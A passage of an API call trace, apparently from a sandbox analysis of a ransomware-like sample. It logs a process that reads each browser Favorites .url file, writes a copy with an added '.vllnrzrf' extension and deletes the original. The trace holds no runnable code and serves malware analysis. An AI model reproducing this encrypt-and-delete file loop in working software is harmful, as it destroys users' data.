Websites\\Microsoft At Home.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpFilePart=0x0) returned 0x50 [0104.423] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpFilePart=0x0) returned 0x50 [0104.424] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpFilePart=0x0) returned 0x50 [0104.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.424] GetFileType (hFile=0x42c) returned 0x1 [0104.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.424] GetFileType (hFile=0x42c) returned 0x1 [0104.424] GetFileSize (in: hFile=0x42c, lpFileSizeHigh=0x1c92ec68 | out: lpFileSizeHigh=0x1c92ec68*=0x0) returned 0x85 [0104.424] ReadFile (in: hFile=0x42c, lpBuffer=0x23c3db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eb98, lpOverlapped=0x0 | out: lpBuffer=0x23c3db8*, lpNumberOfBytesRead=0x1c92eb98*=0x85, lpOverlapped=0x0) returned 1 [0104.427] CloseHandle (hObject=0x42c) returned 1 [0104.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.vllnrzrf", lpFilePart=0x0) returned 0x59 [0104.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.431] GetFileType (hFile=0x42c) returned 0x1 [0104.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.431] GetFileType (hFile=0x42c) returned 0x1 [0104.431] WriteFile (in: hFile=0x42c, lpBuffer=0x23c8848*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92eaa8, lpOverlapped=0x0 | out: lpBuffer=0x23c8848*, lpNumberOfBytesWritten=0x1c92eaa8*=0x285, lpOverlapped=0x0) returned 1 [0104.432] CloseHandle (hObject=0x42c) returned 1 [0104.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpFilePart=0x0) returned 0x50 [0104.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", nBufferLength=0x105, lpBuffer=0x1c92e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpFilePart=0x0) returned 0x50 [0104.436] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url")) returned 1 [0104.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpFilePart=0x0) returned 0x50 [0104.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpFilePart=0x0) returned 0x50 [0104.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpFilePart=0x0) returned 0x50 [0104.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.439] GetFileType (hFile=0x42c) returned 0x1 [0104.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.439] GetFileType (hFile=0x42c) returned 0x1 [0104.439] GetFileSize (in: hFile=0x42c, lpFileSizeHigh=0x1c92ec68 | out: lpFileSizeHigh=0x1c92ec68*=0x0) returned 0x85 [0104.439] ReadFile (in: hFile=0x42c, lpBuffer=0x23ca458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eb98, lpOverlapped=0x0 | out: lpBuffer=0x23ca458*, lpNumberOfBytesRead=0x1c92eb98*=0x85, lpOverlapped=0x0) returned 1 [0104.440] CloseHandle (hObject=0x42c) returned 1 [0104.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.vllnrzrf", lpFilePart=0x0) returned 0x59 [0104.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.444] GetFileType (hFile=0x42c) returned 0x1 [0104.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.444] GetFileType (hFile=0x42c) returned 0x1 [0104.444] WriteFile (in: hFile=0x42c, lpBuffer=0x23ceee8*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92eaa8, lpOverlapped=0x0 | out: lpBuffer=0x23ceee8*, lpNumberOfBytesWritten=0x1c92eaa8*=0x285, lpOverlapped=0x0) returned 1 [0104.445] CloseHandle (hObject=0x42c) returned 1 [0104.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpFilePart=0x0) returned 0x50 [0104.450] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", nBufferLength=0x105, lpBuffer=0x1c92e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpFilePart=0x0) returned 0x50 [0104.450] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url")) returned 1 [0104.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpFilePart=0x0) returned 0x4e [0104.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpFilePart=0x0) returned 0x4e [0104.452] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpFilePart=0x0) returned 0x4e [0104.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.486] GetFileType (hFile=0x42c) returned 0x1 [0104.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.486] GetFileType (hFile=0x42c) returned 0x1 [0104.486] GetFileSize (in: hFile=0x42c, lpFileSizeHigh=0x1c92ec68 | out: lpFileSizeHigh=0x1c92ec68*=0x0) returned 0x86 [0104.486] ReadFile (in: hFile=0x42c, lpBuffer=0x23d0ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eb98, lpOverlapped=0x0 | out: lpBuffer=0x23d0ad0*, lpNumberOfBytesRead=0x1c92eb98*=0x86, lpOverlapped=0x0) returned 1 [0104.487] CloseHandle (hObject=0x42c) returned 1 [0104.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.vllnrzrf", lpFilePart=0x0) returned 0x57 [0104.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ead0) returned 1 [0104.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0104.695] GetFileType (hFile=0x42c) returned 0x1 [0104.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ea40) returned 1 [0104.695] GetFileType (hFile=0x42c) returned 0x1 [0104.695] WriteFile (in: hFile=0x42c, lpBuffer=0x23d5558*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x1c92eaa8, lpOverlapped=0x0 | out: lpBuffer=0x23d5558*, lpNumberOfBytesWritten=0x1c92eaa8*=0x286, lpOverlapped=0x0) returned 1 [0104.696] CloseHandle (hObject=0x42c) returned 1 [0104.700] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", nBufferLength=0x105, lpBuffer=0x1c92e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpFilePart=0x0) returned 0x4e [0104.700] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", nBufferLength=0x105, lpBuffer=0x1c92e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpFilePart=0x0) returned 0x4e [0104.700] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url")) returned 1 [0104.702] CoUninitialize () Thread: id = 78 os_tid = 0x534 [0104.710] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0104.711] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1c92eaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0104.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92ef00) returned 1 [0104.711] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x1c92e9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0104.711] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", nBufferLength=0x105, lpBuffer=0x1c92e990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpFilePart=0x0) returned 0x35 [0104.711] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x1c92eba0 | out: lpFindFileData=0x1c92eba0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0104.712] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.712] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0104.713] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0104.713] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0104.713] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0104.713] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0104.713] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0104.713] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92ebf0 | out: lpFindFileData=0x1c92ebf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.714] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0104.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ee50) returned 1 [0104.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ee10) returned 1 [0104.715] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", lpFilePart=0x0) returned 0x42 [0104.716] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", lpFilePart=0x0) returned 0x42 [0104.716] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", lpFilePart=0x0) returned 0x42 [0104.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x444 [0104.717] GetFileType (hFile=0x444) returned 0x1 [0104.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.717] GetFileType (hFile=0x444) returned 0x1 [0104.717] GetFileSize (in: hFile=0x444, lpFileSizeHigh=0x1c92ef88 | out: lpFileSizeHigh=0x1c92ef88*=0x0) returned 0x85 [0104.717] ReadFile (in: hFile=0x444, lpBuffer=0x23d9bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eeb8, lpOverlapped=0x0 | out: lpBuffer=0x23d9bb0*, lpNumberOfBytesRead=0x1c92eeb8*=0x85, lpOverlapped=0x0) returned 1 [0104.721] CloseHandle (hObject=0x444) returned 1 [0104.724] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.vllnrzrf", lpFilePart=0x0) returned 0x4b [0104.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x444 [0104.725] GetFileType (hFile=0x444) returned 0x1 [0104.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.725] GetFileType (hFile=0x444) returned 0x1 [0104.725] WriteFile (in: hFile=0x444, lpBuffer=0x23e1ab0*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x1c92edc8, lpOverlapped=0x0 | out: lpBuffer=0x23e1ab0*, lpNumberOfBytesWritten=0x1c92edc8*=0x285, lpOverlapped=0x0) returned 1 [0104.727] CloseHandle (hObject=0x444) returned 1 [0104.728] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", lpFilePart=0x0) returned 0x42 [0104.728] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", nBufferLength=0x105, lpBuffer=0x1c92eab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", lpFilePart=0x0) returned 0x42 [0104.728] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url")) returned 1 [0104.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", lpFilePart=0x0) returned 0x4a [0104.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", lpFilePart=0x0) returned 0x4a [0104.730] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", nBufferLength=0x105, lpBuffer=0x1c92e910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", lpFilePart=0x0) returned 0x4a [0104.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92edf0) returned 1 [0104.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x438 [0104.817] GetFileType (hFile=0x438) returned 0x1 [0104.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92ed60) returned 1 [0104.817] GetFileType (hFile=0x438) returned 0x1 [0104.817] GetFileSize (in: hFile=0x438, lpFileSizeHigh=0x1c92ef88 | out: lpFileSizeHigh=0x1c92ef88*=0x0) returned 0x85 [0104.817] ReadFile (in: hFile=0x438, lpBuffer=0x23e3640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c92eeb8, lpOverlapped=0x0 | out: lpBuffer=0x23e3640*, 